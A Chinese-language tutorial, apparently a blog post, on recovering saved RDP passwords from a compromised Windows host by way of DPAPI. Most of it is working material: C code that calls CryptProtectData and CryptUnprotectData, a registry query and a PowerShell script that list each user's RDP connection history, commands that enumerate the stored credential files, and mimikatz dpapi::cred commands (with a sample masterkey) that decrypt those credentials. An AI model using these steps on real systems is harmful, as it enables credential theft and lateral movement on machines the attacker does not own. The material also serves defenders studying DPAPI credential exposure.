俗话说百因必有果,你的报应就是我,这篇文章的来历,还要从好兄弟的提问说起。

本文就给大家聊一下关于获取已控机器本地保存的RDP密码的一些原理、思路、以及具体的实现方法。

首先我们需要知道两个概念。

第一、Dpapi

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

包括的范围有下面这些:

IE、Chrome的登录表单自动完成Powershell加密函数Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。FTP管理账户密码共享资源文件夹的访问密码无线网络帐户密钥和密码远程桌面身份凭证EFSEAP/TLS 和 802.1x的身份凭证Credential Manager中的数据以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。

Master Key Files

存放密钥的文件叫做Master Key Files,

用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%

系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User

Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.

实操 DPAPI加解密

微软为开发人员提供了 DPAPI的加解密方式,文件头为dpapi.h,我们可以使用CryptProtectData来进行一个加密,测试代码如下:

代码语言:javascript复制#include

#include

#include

#pragma comment(lib,"crypt32.lib")

int main()

{

DATA_BLOB plainBlob = { 0 };

DATA_BLOB encryptedBlob = { 0 };

BYTE dataBytes[] = "spotless";

HANDLE outFile = CreateFile("c:\\users\\root\\desktop\\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

printf("this is an encrypted:spotless");

plainBlob.pbData = dataBytes;

plainBlob.cbData = sizeof(dataBytes);

CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);

WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);

return 0;

}加密后进行解密

代码语言:javascript复制#include

#include

#include

#pragma comment(lib,"crypt32.lib")

int main()

{

DATA_BLOB plainBlob = { 0 };

DATA_BLOB encryptedBlob = { 0 };

BYTE dataBytes[] = "spotless";

BYTE inBytes[300] = {0};

BYTE outBytes[300] = {0};

HANDLE outFile = CreateFile(L"c:\\users\\mantvydas\\desktop\\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

HANDLE inFile = CreateFile(L"c:\\users\\mantvydas\\desktop\\spotless.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

DWORD fileSize = 0;

//encrypt

plainBlob.pbData = dataBytes;

plainBlob.cbData = sizeof(dataBytes);

CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);

WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);

//decrypt

fileSize = GetFileSize(inFile, NULL);

ReadFile(inFile, encryptedBlob.pbData, fileSize , NULL, NULL);

encryptedBlob.cbData = fileSize;

CryptUnprotectData(&encryptedBlob, NULL, NULL, NULL, NULL, 0, &plainBlob);

return 0;

}即可解密出来加密后的明文。

第二、rdp密码存放位置

我们可以使用下面的方法得到所有该主机链接过的机器,即查询注册表

代码语言:javascript复制reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s代码语言:javascript复制高版本的系统也可以使用下面的powershell脚本

代码语言:javascript复制<#

.SYNOPSIS

This script will list the logged-in users' RDP Connections History.

Author: 3gstudent@3gstudent

License: BSD 3-Clause

#>

$AllUser = Get-WmiObject -Class Win32_UserAccount

foreach($User in $AllUser)

{

$RegPath = "Registry::HKEY_USERS\"+$User.SID+"\Software\Microsoft\Terminal Server Client\Servers\"

Write-Host "User:"$User.Name

Write-Host "SID:"$User.SID

Write-Host "Status:"$User.Status

Try

{

$QueryPath = dir $RegPath -Name -ErrorAction Stop

}

Catch

{

Write-Host "No RDP Connections History"

Write-Host "----------------------------------"

continue

}

foreach($Name in $QueryPath)

{

Try

{

$User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint

Write-Host "User:"$User

Write-Host "Server:"$Name

}

Catch

{

Write-Host "No RDP Connections History"

}

}

Write-Host "----------------------------------"

}然后查看本地的密码文件是否存在

代码语言:javascript复制dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*注:a代表用户名,本地有存储密码的前提是链接时勾选保存凭证。

然后查看存储在本地的远程信息。

代码语言:javascript复制cmdkey /list这样我们就拥有了解密的一切前提。

第三、实战密码解密

下面我们来实战看一下密码的解密过程。minikatz不愧为神器,里面已经集成了该类功能,都属于dpapi模块。

我们来看下操作。

代码语言:javascript复制mimikatz # privilege::debug

mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\8781378F7D47006A4FC98D2F8A266F58通过 mimikatz 获取 guidMasterKey,再通过guid 来找到其所对应的 Masterkey,注意此处的 pgData 中的内容实际上就是要解密的密码数据,密码在里面只不过是加密的,得先找到对应的 Masterkey 才能解密 。

下面来找 Masterkey。

然后通过Masterkey即可解密我们的数据。

代码语言:javascript复制mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\B936D224289CFD610F63B70D714F2664 /masterkey:cd9e42601a0aa86baf3659271cfc2f9f75642a08cb819a7eb7c6c7531dcd80bdc6d152b18bd2d70395cadfad537e1e436034fccc5ff44074059d431e60151cc8且可以使用下面的命令查看获取到的所有的masterkey:

代码语言:javascript复制dpapi::cache一键化操作: